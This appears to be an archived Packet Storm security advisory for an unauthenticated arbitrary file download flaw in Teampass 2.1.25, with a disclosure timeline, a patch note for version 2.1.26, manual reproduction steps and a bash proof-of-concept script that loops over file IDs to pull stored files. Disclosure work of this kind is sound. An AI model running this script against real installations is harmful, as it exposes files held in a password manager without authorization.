what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Teampass 2.1.25 Arbitrary File Download

Teampass 2.1.25 Arbitrary File Download
Posted May 25, 2016
Authored by Vulnerability Laboratory, Peter Kok | Site vulnerability-lab.com

Teampass version 2.1.25 suffers from an arbitrary file download.

tags | exploit, arbitrary
SHA-256 | 3edaa0800807b1b4d192d83a6f21a5419b3a9c8e2a27038d5ad01c3ecbf88d59

Teampass 2.1.25 Arbitrary File Download

Change Mirror Download
Document Title:
===============
Teampass v2.1.25 - Arbitrary File Download Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1843


Release Date:
=============
2016-05-17


Vulnerability Laboratory ID (VL-ID):
====================================
1843


Common Vulnerability Scoring System:
====================================
8.1


Product & Service Introduction:
===============================
TeamPass is a Passwords Manager dedicated for managing passwords in a collaborative way on any server Apache, MySQL and PHP.
It is especially designed to provide passwords access security for allowed people. This makes TeamPass really useful in a
Business/Enterprise environment and will provide to IT or Team Manager a powerful and easy tool for customizing passwords
access depending on the user’s role.

(Copy of the Homepage: http://teampass.net/ )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered an arbitrary file download vulnerability in the Teampass Password Manager v2.1.25 web-application.


Vulnerability Disclosure Timeline:
==================================
2016-05-11: Researcher Notification & Coordination (Peter Kok)
2016-05:12 Vendor Notification (Teampass Security Team)
2016-05-13: Vendor Response/Feedback (Teampass Security Team)
2016-05-15: Vendor Fix/Patch (Teampass Developer Team)
2016-05-17: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Nils Laumaillé
Product: Teampass Password Manager - Online Service (Web-Application) 2.1.25


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
An arbitrary file download web vulnerability has been discovered in the Teampass Password Manager v2.1.25 web-application.
The arbitrary file download vulnerability allows remote attackers to unauthorized download files via GET method request.

The web vulnerability is located in the `downloadFile.php` file. Remote attackers are able to download internal uploaded
files without any authentication. The web vulnerability can be exploited by remote attackers without user interaction.
The issue is located on the application-side of the web-application and the request method to access is GET.

The security risk of the vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 8.1.
Exploitation of the arbitrary file download vulnerability requires no user interaction or privileged web-application user account.
Successful exploitation of the arbitrary file download web vulnerability results in unauthorized file access and information disclosure.

Request Method(s):
[+] GET

Vulnerable File(s):
[+] downloadFile.php

Vulnerable Parameter(s):
[+] fileid


Proof of Concept (PoC):
=======================
The arbitrary file download web vulnerability can be exploited by remote attackers without privileged web-application user account or user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reprodcue the vulnerability ...
1. Open a browser and visit https://your.teampass.installation/sources/downloadFile.php which will display the message "Hacking attempt..."
2. Get a cookie by visiting the login page https://your.teampass.installation/, you don't have to authenticate only visit this page
3. Again visit https://your.teampass.installation/sources/downloadFile.php, now that the cookie is set there is no "Hacking attempt..." message

Files which are attached to items created in teampass can now be downloaded with the url https://your.teampass.installation/sources/downloadFile.php?name=lol&pathIsFiles=0&fileid=1
Just change the fileid in the url to download different stored files

PoC: Exploit
#!/bin/bash
COOKIE=/tmp/teampass.cookie
if [ ! "$1" ]
then
echo "Usage: $0 [url]"
exit 0
fi
#Get a valid cookie
curl -c $COOKIE -s "$1" >/dev/null
#get stored files with fileid 1 through 100
for i in $(seq 1 100)
do
curl -b $COOKIE "$1/sources/downloadFile.php?name=lol&pathIsFiles=0&fileid=$i" -s -o file-$i
if [ -s "file-$i" ]
then
#display the filetype
file file-$i
else
#remove file if empty
rm -f file-$i
fi
done
rm -f $COOKIE
exit 0


Solution - Fix & Patch:
=======================
The arbitrary file download vulnerability can be patched by denying access to the `downloadFile.php` without authentication.

Note: The manufacturer fixed the vulnerability and an update is available for download in version 2.1.26.
URL: http://teampass.net/2016-05-13-release-2.1.26


Security Risk:
==============
The security risk of the arbitrary file download web vulnerability in the Teampass Password Manager web-application is estimated as high. (CVSS 8.1)


Credits & Authors:
==================
Peter Kok - [http://www.vulnerability-lab.com/show.php?user=Peter%20Kok]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied,
including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage,
including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised
of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing
limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
Section: magazine.vulnerability-lab.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact
Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically
redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or
its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific
authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@vulnerability-lab.com) to get a ask permission.

Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™




--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research@vulnerability-lab.com

Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    25 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close